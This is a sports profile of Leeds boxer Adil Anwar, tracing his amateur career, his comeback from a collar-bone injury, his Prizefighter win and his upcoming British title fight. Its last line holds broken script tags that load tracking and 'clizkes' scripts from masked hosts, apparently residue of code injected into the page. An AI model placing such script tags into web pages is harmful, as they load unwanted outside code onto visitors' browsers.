@Adil_Anwar
Adil Anwar may well have been a gymnast if not a boxer, his grandfather was both in the army, but it was his boxing love that the young lad from Leeds was drawn towards and where his destiny lay.
Anwar first started boxing when he was 13 at Bateman’s ABC gym in Leeds, he had his first fight when he was 14. After a year of boxing, Anwar began to realise he had a talent for the noble art and was encouraged by his coaches, to not let his natural ability go to waste and the rest was written.
Anwar had around 65 amateur bouts and lost just an handfull. In 2002, he got to the National Boys Clubs final but got beaten by the late Gary Barker, Darren’s younger brother, who was a very talented boxer. Anwar also beat (Sunderland’s recent Prizefighter winner) Glen Foot twice.
In 2004-5, he won both the Junior ABAs and National Boys Clubs (NACYPs) and also won while boxing for Young England against Young Italy, coming through a bout of the mumps at the time too, but still boxed ill and won!
Anwar was attending national squad training sessions at the English Institute of Sport in Sheffield but he was involved in a car accident which left him with a broken collar bone. The young boxer was told it was very unlikely he’d ever compete again, but he proved that analysis wrong; “Whenever I’m doubted, I’ll always go that extra mile to prove people wrong.” said Anwar.
“Negative comments motivate me and 18 months later I was back competing.”
It seemed Anwar was always destined to box and nothing was to hold him back, he eventually made the decision that he was to make a living from the boxing and in 2007 turned professional, and he has quickly gained a local fan following in his home town of Leeds. His thirst to succeed was unquestionable though he suffered a setback when he tasted defeat in only his second fight, losing on points to Graeme Higginson.
Ruffled, but not one to quit, Anwar pushed harder and dedicated most of his time to the sport. This involved leaving home, where the struggles of everyday life were a harsh reminder of his near fatal accident that almost ended his career even before it had begun.
For the past four years since his hindrance Anwar has built himself an impressive portfolio of wins, including a wonderful display and victory over Nathan Graham at London’s York Hall. The manner and charisma in which he boxed was for all to see, and though perhaps slightly unorthodox, no one could deny that Adil had a certain flair to his game.
A thirst for success has always been part of Anwar’s nature and though he managed to plough through the opponents that crossed his path, he has always felt that the elusive calling for a title shot evaded him, and frustrated, he questioned what he had to do to prove his worth.
The withdrawal of Adnan Amar in the winter of 2011 meant that the BBBofC Welterweight belt was vacant and challenger James Flinn was left wondering who he would fight to get a shot at the title. Anwar’s first calling came and with only 4 days’ notice he stepped up a weight and took up the challenge, winning the fight in the 8th round after flooring Flinn twice earlier on with an extraordinary display.
Adil’s technical fighting style has caused a stir among his faithful followers and his ability to pick his shots has been a concern for many of his potential opponents, most notably Lenny Dawes and Ashley Theophane, both of whom have turned down the opportunity to fight the Leeds born fighter.
The win proved to be a pivotal moment in Anwar’s career and he was called forwards to compete in February’s Prize Fighter tournament at his preferred Light-Welterweight in Wolverhampton.
Adil came through the rounds by defeating Scotland’s Barry Morrison followed by Liverpool’s John Watson for a showdown in the final with his once sparring partner, the undefeated Tyrone Nurse. The atmosphere was electrifying as his entourage of fans from his hometown got behind him and watched Adil eventually outsmart Nurse in a tense but enjoyable affair.
Since the victory, Anwar, who is nicknamed the “Platinum Kid” has been in the limelight and rubbing shoulders with the likes of Amir Khan, who praised the Yorkshire man’s impressive display on twitter, can only be a step in the right direction.
Anwar then went on to comfortably beat Dave Ryan in Liverpool and earned himself a title eliminator against Dale Miles a fight which he won on points , to set up his next fight with Darren Hamilton for the British title and the chance to make history. He has had one fight since the Miles win, against Lance Sheehan in February, a fight Anwar won after the fight as ended when Sheehan was badly cut.
And so, the Adil Anwar story continues on Saturday night, can he the Platinum Kid pull off the win over a good champion in Hamilton?
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To find out more about Adil Anwar visit his website: www.adilanwar.com or Follow him on Twitter: @Adil_Anwar# src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>
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